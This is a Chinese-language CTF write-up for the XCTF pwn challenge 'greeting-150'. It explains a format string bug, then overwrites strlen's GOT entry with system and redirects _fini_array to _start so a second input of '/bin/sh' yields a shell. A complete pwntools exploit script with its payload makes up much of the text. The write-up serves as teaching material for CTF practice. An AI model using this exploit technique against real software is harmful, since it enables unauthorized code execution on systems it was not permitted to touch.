greeting-150(xctf)

0x0 程序保护和流程

保护:

greeting-150(xctf)_第1张图片

流程:

main()

greeting-150(xctf)_第2张图片

存在一个明显的格式化字符串漏洞。

0x1 利用过程

1.格式化字符串漏洞的出现代表着只要有权限,就能完成任意地址写。而题目的保护是没有开启重定位表只读保护,所以可以修改函数的got表。所以可以修改一个参数由输入决定单参数函数的got表为sysytem函数的地址,这样就当输入**/bin/sh**的时候就可以完成getshell了。通过观察程序,决定修改strlen函数的got表。

2.由于需要二次输入,涉及到控制程序流程。而控制流程需要一个可执行的指针,如函数的返回地址。但是在这个,程序中我们无法获得栈的地址信息,只能通过别的方式实现流程的控制。仔细观察程序的输出会发现第一行的输出并没有在main()函数中实现。

exec

但是在ida的函数列表中找到了这条语句的位置。

greeting-150(xctf)_第3张图片

同时发现它所在的段也不是.text段,查找资料发现在执行main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的,main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针。

greeting-150(xctf)_第4张图片

于是在ida中寻找发现nao函数调用的位置。

greeting-150(xctf)_第5张图片

3.根据上述分析可以得出思路,通过漏洞修改strlen函数的got表,修改_fini_array处的数据为start函数的地址。

start_addr=0x080484F0
fini_addr=0x08049934
#sys_plt=0x8048490
payload+=p32(strlen_got+2)  #12
payload+=p32(strlen_got)    #13
payload+=p32(fini_addr)     #14
#format string
#len("Nice to meet you, ")=18
#2020=2052-12-2-18 2052=0x0804
payload+="%2020c%12$hn"
#31884=0x8490-0x0804
payload+="%31884c%13$hn"
#96=0x84F0-0x8490 
payload+="%96c%14$hn"

0x2 exp

from pwn import *
sh=remote('220.249.52.133','31255')
# sh=process('./a')
elf=ELF('./a')

strlen_got=elf.got['strlen']
start_addr=0x080484F0
fini_addr=0x08049934
payload="aa"
payload+=p32(strlen_got+2)  #12
payload+=p32(strlen_got)    #13
payload+=p32(fini_addr)     #14
#format string
payload+="%2020c%12$hn"
payload+="%31884c%13$hn"
payload+="%96c%14$hn"

sh.recvuntil('Please tell me your name... ')
sh.sendline(payload)
sh.recvuntil('Please tell me your name... ')
sh.sendline('/bin/sh')
sh.interactive()

你可能感兴趣的:(xctf(pwn高手区))